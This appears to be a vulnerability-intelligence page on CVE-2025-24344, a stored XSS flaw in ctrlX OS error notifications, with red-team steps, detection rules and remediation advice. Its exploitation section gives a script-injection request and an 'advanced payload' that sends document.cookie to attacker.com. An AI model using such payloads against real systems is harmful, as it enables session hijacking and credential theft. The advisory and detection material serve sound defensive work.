CVE-2025-24344
Executive Summary
CVE-2025-24344 is a stored cross-site scripting (XSS) vulnerability in the error notification messages of the ctrlX OS web application. A remote, unauthenticated attacker can inject arbitrary HTML and JavaScript via a crafted HTTP request. When another user views the error notification, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 6.3 (Medium), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
- Base Score: 6.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must view the error notification
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – possible data exfiltration
- Integrity Impact: Low (I:L) – possible content injection
- Availability Impact: Low (A:L) – possible denial of service via script
Deep Dive & Mechanics
The vulnerability resides in the error notification subsystem of the ctrlX OS web application. When the application encounters an error, it constructs a notification message that includes user-supplied input (e.g., from HTTP request parameters, headers, or body). The application fails to properly sanitize or encode this input before rendering it in the HTML response. An attacker can craft a malicious HTTP request containing HTML/JavaScript payloads. When an administrator or other user views the error log or notification, the payload executes in their browser.
The attack flow:
- Attacker sends a crafted HTTP request to the ctrlX OS web application (e.g., a malformed parameter or header).
- The application logs the error and includes the attacker's input in the notification message.
- A victim (e.g., admin) accesses the error notification page.
- The injected script executes, potentially stealing session cookies, redirecting to a phishing page, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: directly inserts user input into HTML
function showError(message) {
document.getElementById('errorBox').innerHTML = message;
}
Patched Code (Conceptual):
// Patched: sanitizes input before insertion
function showError(message) {
const sanitized = DOMPurify.sanitize(message);
document.getElementById('errorBox').innerHTML = sanitized;
}
The patched version uses a sanitization library (e.g., DOMPurify) to strip dangerous HTML tags and attributes. Alternatively, the application could use textContent instead of innerHTML to prevent HTML injection entirely.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Target: ctrlX OS web application (version unknown)
- Attacker machine: Kali Linux with Burp Suite or custom Python script
- Victim machine: Browser (e.g., Firefox) logged in as admin
Exploitation Steps:
- Intercept a request to the ctrlX web app (e.g., login page).
- Inject a payload into a parameter that appears in error messages. Example:
GET /login?user=<script>alert('XSS')</script> HTTP/1.1 Host: target-ctrlx.local - Send the request. The application logs the error and includes the payload.
- As the victim, navigate to the error notification page (e.g.,
/admin/errors). - The script executes, showing an alert box (or performing more malicious actions).
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>
Blue Team
Detection:
- Monitor for unusual HTTP requests containing HTML/JavaScript in parameters or headers.
- Look for error log entries with suspicious content (e.g.,
<script>,onerror=,javascript:). - Use WAF rules to block common XSS patterns.
Mitigation:
- Apply input validation and output encoding on all user-supplied data.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Implement a Web Application Firewall (WAF) with XSS signatures.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests containing
<script>,onerror=,javascript:in parameters or headers. - Outbound connections to unknown domains (potential data exfiltration).
- HTTP requests containing
- Host:
- Error log entries with HTML/JavaScript content.
- Unexpected JavaScript execution in browser console.
- File:
- Modified error templates or configuration files (if attacker gains write access).
Detection Engineering
YARA Rule
rule cve_2025_24344_xss_payload {
meta:
description = "Detects XSS payloads targeting ctrlX OS error notifications"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24344"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /javascript\s*:\s*[^"'\s>]+/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-24344 XSS Attempt in ctrlX OS Error Notifications
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting ctrlX OS error notification endpoints
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-24344
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in error messages (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24344 XSS Attempt in ctrlX OS Error Notifications"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-24344 XSS Attempt via onerror"; flow:to_server,established; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-24344 XSS Attempt via javascript"; flow:to_server,established; content:"javascript:"; http_uri; nocase; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the ctrlX OS web application from untrusted networks if possible.
- Monitor error logs for suspicious content.
- Apply a Web Application Firewall (WAF) with XSS rules.
Long-term Fix:
- Patch: Await official patch from Ctrlx. Apply as soon as available.
- Code Fix: Implement proper input sanitization and output encoding. Use
textContentinstead ofinnerHTMLor use a sanitization library like DOMPurify. - CSP: Add a Content Security Policy header that restricts script execution (e.g.,
script-src 'self').
Workaround:
- Disable error notification display for non-admin users.
- Implement strict input validation on all HTTP request parameters.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.